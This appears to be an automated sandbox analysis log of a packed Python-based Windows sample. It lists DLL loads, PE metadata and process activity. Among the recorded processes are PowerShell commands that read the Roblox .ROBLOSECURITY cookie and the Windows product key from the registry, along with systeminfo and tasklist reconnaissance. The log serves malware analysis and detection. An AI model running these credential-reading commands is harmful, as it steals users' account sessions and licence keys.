Source: C:\Windows\System32\tree.com	Section loaded: fsutilext.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tree.com	Section loaded: ulib.dll
Source: C:\Windows\System32\tree.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\tree.com	Section loaded: ulib.dll
Source: C:\Windows\System32\tree.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: mpclient.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: secur32.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: sspicli.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: version.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: msasn1.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: userenv.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Section loaded: powrprof.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Section loaded: umpdc.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll

Source: C:\Windows\System32\tasklist.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\systeminfo.exe systeminfo

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe

Static file information: File size 7266369 > 1048576

Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: 6C:\Users\user\AppData\Local\Temp\c3m2uwl3\c3m2uwl3.pdbhP source: powershell.exe, 0000002D.00000002.1546305256.0000014D0A895000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\unicodedata.pdb source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1770892655.00007FF8E7290000.00000040.00000001.01000000.00000013.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_A source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe
Source:	Binary string: D:\a\1\b\libssl-1_1.pdb@@ source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1771559023.00007FF8E7316000.00000040.00000001.01000000.00000010.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DAESNI_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASM source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1769130422.00007FF8E6D1F000.00000040.00000001.01000000.0000000F.sdmp
Source:	Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DAESNI_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASMOpenSSL 1.1.1u 30 May 2023built on: Wed May 31 23:27:41 2023 UTCplatform: VC-WIN64A-masmOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-1_1"not available source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1769130422.00007FF8E6D1F000.00000040.00000001.01000000.0000000F.sdmp
Source:	Binary string: 6C:\Users\user\AppData\Local\Temp\c3m2uwl3\c3m2uwl3.pdb source: powershell.exe, 0000002D.00000002.1546305256.0000014D0A895000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000000.00000003.1323859878.00000162E1226000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1777638833.00007FF8F9D71000.00000002.00000001.01000000.00000005.sdmp, VCRUNTIME140.dll.0.dr
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000000.00000003.1323859878.00000162E1226000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1777638833.00007FF8F9D71000.00000002.00000001.01000000.00000005.sdmp, VCRUNTIME140.dll.0.dr
Source:	Binary string: D:\a\1\b\bin\amd64\sqlite3.pdb source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1772852379.00007FF8E7391000.00000040.00000001.01000000.0000000B.sdmp
Source:	Binary string: D:\a\1\b\libcrypto-1_1.pdb source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1769130422.00007FF8E6DA1000.00000040.00000001.01000000.0000000F.sdmp
Source:	Binary string: D:\Projects\WinRAR\rar\build\rar64\Release\RAR.pdb source: rar.exe, 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmp, rar.exe, 00000048.00000000.1631513880.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmp, rar.exe.0.dr
Source:	Binary string: D:\a\1\b\bin\amd64\python311.pdb source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1774041313.00007FF8E795B000.00000040.00000001.01000000.00000004.sdmp
Source:	Binary string: D:\a\1\b\libssl-1_1.pdb source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1771559023.00007FF8E7316000.00000040.00000001.01000000.00000010.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\select.pdb source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1776891927.00007FF8F6DA1000.00000040.00000001.01000000.0000000D.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_ctypes.pdb source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1773840617.00007FF8E75B1000.00000040.00000001.01000000.00000006.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_hashlib.pdb source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1775280182.00007FF8F0941000.00000040.00000001.01000000.00000011.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdbNN source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1773557891.00007FF8E755C000.00000040.00000001.01000000.00000008.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_queue.pdb source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1776711949.00007FF8F5851000.00000040.00000001.01000000.00000012.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdb source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1773557891.00007FF8E755C000.00000040.00000001.01000000.00000008.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_bz2.pdb source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1776445085.00007FF8F1DF1000.00000040.00000001.01000000.00000009.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_socket.pdb source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1775912815.00007FF8F0D01000.00000040.00000001.01000000.0000000C.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_sqlite3.pdb source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1773292284.00007FF8E7511000.00000040.00000001.01000000.0000000A.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_ssl.pdb source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1772235361.00007FF8E7361000.00000040.00000001.01000000.0000000E.sdmp

Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\c3m2uwl3\c3m2uwl3.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\c3m2uwl3\c3m2uwl3.cmdline"

Source: libcrypto-1_1.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0x124d75
Source: _ctypes.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x19e1b
Source: unicodedata.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x4a227
Source: _bz2.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x1784a
Source: libffi-8.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0xa1d1
Source: _ssl.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x17418
Source: sqlite3.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0x9ff17
Source: libssl-1_1.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0x349c6
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Static PE information: real checksum: 0x6f5100 should be: 0x6f6e8e
Source: _queue.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0xc985
Source: _socket.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x15415
Source: python311.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0x1a7f3d
Source: _decimal.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x1f8c8
Source: _hashlib.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0xa12c
Source: select.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x12345
Source: _lzma.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x23dc5
Source: _sqlite3.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x1deb7
Source: c3m2uwl3.dll.49.dr	Static PE information: real checksum: 0x0 should be: 0xa11f

Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Static PE information: section name: _RDATA
Source: libffi-8.dll.0.dr	Static PE information: section name: UPX2
Source: VCRUNTIME140.dll.0.dr	Static PE information: section name: _RDATA

Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Code function: 2_2_00007FF8E754D418 push rsi; retf	2_2_00007FF8E754D419
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Code function: 2_2_00007FF8E754D390 push rsi; iretd	2_2_00007FF8E754D3A5
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_00007FF88697D2A5 pushad ; iretd	9_2_00007FF88697D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_00007FF886A98AAB push eax; iretd	9_2_00007FF886A98ABA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_00007FF886A99DF8 push E95C6F79h; ret	9_2_00007FF886A99E79
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 45_2_00007FF886AB19D3 pushad ; ret	45_2_00007FF886AB19D9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 45_2_00007FF886AB4203 push ebp; iretd	45_2_00007FF886AB4232

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
